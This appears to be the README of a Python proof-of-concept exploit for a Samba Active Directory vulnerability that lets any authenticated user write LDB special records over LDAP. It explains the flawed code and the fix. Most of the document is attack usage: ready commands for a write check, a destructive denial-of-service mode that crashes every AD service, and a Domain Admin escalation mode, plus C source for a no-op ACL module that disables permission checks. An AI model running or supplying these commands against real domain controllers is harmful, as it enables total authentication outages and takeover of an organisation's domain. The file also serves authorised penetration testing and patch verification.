
Python PoC for CVE-2026-58221: checks and exploits Samba AD LDB special DN ACL bypass via LDAP to prove write access, crash AD services, or escalate to Domain Admin.
CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Any authenticated domain user can modify internal Samba LDB special records (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, leading to Denial of Service (crash all AD services) or Domain Admin escalation (with local filesystem access).
| Status | Versions |
|---|---|
| Vulnerable | Samba AD DC >= 4.0.0 (all versions before patch) |
| Fixed | 4.22.11, 4.23.x, 4.24.x |
Advisory: https://www.samba.org/samba/security/CVE-2026-58221.html
Two flaws combine to bypass all access controls on Samba's internal LDB records:
rootdse_filter_operations() — Insufficient Authentication CheckIn source4/dsdb/samdb/ldb_modules/rootdse.c, the rootdse_filter_operations() function is the first filter in the LDAP request chain. It only blocks anonymous callers — any authenticated user passes through, regardless of privileges:
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — Special DN ACL BypassIn source4/dsdb/samdb/ldb_modules/acl.c, the ACL module skips all permission checks for LDB special DNs (those starting with @), assuming only trusted internal operations reach them:
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
Combined effect: An authenticated low-privilege domain user sends an LDAP modify request targeting @MODULES. It passes rootdse_filter_operations() (not anonymous), reaches acl.c, which sees a special DN and skips all ACL checks — the modification succeeds.
The fix adds an ldb_dn_is_special() check in rootdse_filter_operations() before the request reaches the ACL module:
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB is Samba's internal database (sam.ldb), equivalent to Windows' NTDS.dit. It stores all Active Directory objects and uses a module chain architecture to process requests.
samba_dsdb Meta-Modulesamba_dsdb is the single entry point that initializes the entire Samba module chain (~30 modules). It:
samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)forced_module_msg opaque — which overrides any @PARTITION/modules value stored in the databaseThis is why individual modules cannot be loaded standalone — they crash with Protocol error (2) without the context samba_dsdb provides. This is also why modifying @PARTITION/modules in the database has no effect on the running module chain.
| DN | Purpose | Modification Impact |
|---|---|---|
@MODULES/@LIST | Controls which modules Samba loads per connection | Crash (if changed from samba_dsdb) |
@PARTITION | Partition configuration and per-partition modules | Ignored (overridden by forced_module_msg) |
@SAMBA_DSDB | Internal samba_dsdb configuration | Crash |
safe-write (Non-Destructive) ✅Writes back the same value (@LIST: samba_dsdb) to @MODULES. Proves write access without any service impact. Recommended for pentests.
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos (Destructive) ⚠️Replaces @MODULES/@LIST with individual module names (excluding acl/aclread). On next connection, modules fail to initialize without samba_dsdb context → all AD services crash (LDAP, SMB, Kerberos, DNS).
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
Impact: Total AD outage. Recovery requires local console access. All domain authentication stops.
escalate (Domain Admin — Local Access Required) 🔴Full exploitation chain to achieve Domain Admin:
@MODULES is writable via LDAP (remote)acl.so / aclread.so with no-op versions (local)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
No-op ACL module source:
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| Mode | Impact | Requires |
|---|---|---|
--check | None (safe) | LDAPS + domain creds |
--assess | None (analysis) | LDAPS + domain creds |
--exploit --method safe-write | None (proves write) | LDAPS + domain creds |
--exploit --method dos | Total AD outage | LDAPS + domain creds |
--exploit --method escalate | Domain Admin | LDAPS + domain creds + sudo on DC |
--cleanup | Reverses escalation | LDAPS + domain creds + sudo on DC |
--fix | Restores crashed DC | Local console on DC |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force
# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix
ldapsearch, ldapmodify) — apt install ldap-utilsescalate/cleanup: sudo access on the DC + gcc, libldb-dev, pkg-config